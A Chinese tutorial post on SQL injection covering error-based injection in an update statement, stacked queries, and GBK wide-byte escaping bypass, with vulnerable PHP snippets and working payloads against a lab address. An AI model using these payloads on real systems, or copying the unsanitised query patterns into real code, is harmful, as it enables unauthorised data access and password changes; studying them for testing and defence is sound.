sql注入(6), 更新注入, 堆叠注入, 宽字节注入

一, 更新注入

更新操作只返回布尔型结果, 所以无法像select语句进行多样化测试, 所以更新类的操作重点就是报错注入. 注意报错注入的前提是页面上能够看到数据库的报错信息, 利用报错信息显示我们需要的数据.

情景

修改密码时对url进行post请求, 提交密码.

py 复制代码
url: http://192.168.112.200/security/misc.php
post data: password=xxxxxx
php 复制代码
后端代码:
$password = $_POST['password'];
$sql = "update user set password='$password' where userid=1";
$conn->query($sql);
echo mysqli_error($conn);

说明

注入时修改 post data 数据. 在 post data 的参数后面拼接一段sql, 引起数据库报错.

首先, 这是字符型注入, 需要添加单引号(').

其次, 后端修改密码的sql语句在最后应该有一段where语句, 所以注入时需要在结尾添加 'or' 或者

注释 '--+' 来屏蔽它.

注入

py 复制代码
password=1234' or updatexml(1, concat(0x7e, version(), 0x7e), 1) or'
password=1234' or updatexml(1, concat(0x7e, version(), 0x7e), 1) --+'
结果: XPATH syntax error: '~10.4.20-MariaDB~'

二, 堆叠注入

数据库允许一次性执行多条sql语句, 使用分号 ';' 间隔. 通过拼接第二条语句来实现注入.

堆叠注入的前提是, 后端sql语句使用了类似 multi_query() 函数, 可以一次执行多条sql语句.

这种情况实际上比较少见.

情景

查询某个用户的信息.

py 复制代码
url: http://192.168.112.200/security/misc.php?id=1
php 复制代码
后端代码:
$id=$_GET['id'];
$conn->multi_query("select * from user where userid=$id");
$result = $conn->store_result();
$rows = $result->fetch_row();
var_dump($rows);

说明

首先, 用分号截断前面的语句, 在后面拼接自己的sql语句, 修改数据库中的数据.

注入

py 复制代码
修改id=5用户的密码
http://192.168.112.200/security/misc.php?id=1;update user set password='root' where userid=5
修改id=5用户的用户名
http://192.168.112.200/security/misc.php?id=1;update user set username='xoot' where userid=5

三, 宽字节注入

宽字节注入的环境比较特殊, 需要GBK等宽字符集的网站环境, 提交参数为字符型.

原理:

后端对于提交过来的参数值中的单引号('), 通常会做转义处理, 比如用php的 addslashes() 函数处理参数值, 单引号会被转义, 那么当注入测试时直接报错, 无法让注入语句有效执行.

例如:

py 复制代码
正常访问:
?article=1
后端处理: where article='1'

注入: ?article=1'
后端转义后变成: where article='1\''
那么此时添加的单引号实际上被当作了article参数的值, 而无法用于后面我们自己注入的语句.

那么宽字节注入的目的就是让单引号绕过因为转义而无法与我们自己注入的语句形成闭合.

利用宽字节编码, 在斜杠前面 '' 拼接一段编码成为一个整体的字符, 使斜杠无法完成转义, 那么后面的单引号即可逃逸转义.

斜杠的编码: %5c

前面拼接上 %bf, 那么 %bf%5c 就会组合成一个有效的GBK字符, 斜杠的转义功能消失.

GBK的编码范围:8140-fefe, 高字节从81到fe, 这个范围内与%5c拼接都可以组成一个汉字字符.

注入

py 复制代码
?article=1%bf' and 1=1 --+  # 页面正常
后端处理: where articleid='1縗' and 1=1 -- '

?article=1%bf' and 1=2 --+  # 页面异常
后端处理: where articleid='1縗' and 1=2 -- '
相关推荐
洛克大航海13 分钟前
解锁 PySpark SQL 的强大功能:有关 App Store 数据的端到端教程
linux·数据库·sql·pyspark sql
XueminXu2 小时前
ClickHouse数据库的表引擎
数据库·clickhouse·log·表引擎·mergetree·special·integrations
冒泡的肥皂2 小时前
MVCC初学demo(二
数据库·后端·mysql
代码程序猿RIP2 小时前
【Redis 】Redis 详解以及安装教程
数据库·etcd
小生凡一2 小时前
redis 大key、热key优化技巧|空间存储优化|调优技巧(一)
数据库·redis·缓存
oe10192 小时前
好文与笔记分享 A Survey of Context Engineering for Large Language Models(上)
数据库·笔记·语言模型·agent·上下文工程
小马哥编程2 小时前
【软考架构】案例分析-对比MySQL查询缓存与Memcached
java·数据库·mysql·缓存·架构·memcached
一 乐2 小时前
高校后勤报修系统|物业管理|基于SprinBoot+vue的高校后勤报修系统(源码+数据库+文档)
java·前端·javascript·数据库·vue.js·毕设
折翼的恶魔3 小时前
SQL190 0级用户高难度试卷的平均用时和平均得分
java·数据库
煎蛋学姐3 小时前
SSM基于框架在线电影评论投票系统3gr0f(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·系统开发·ssm 框架·在线电影评论投票系统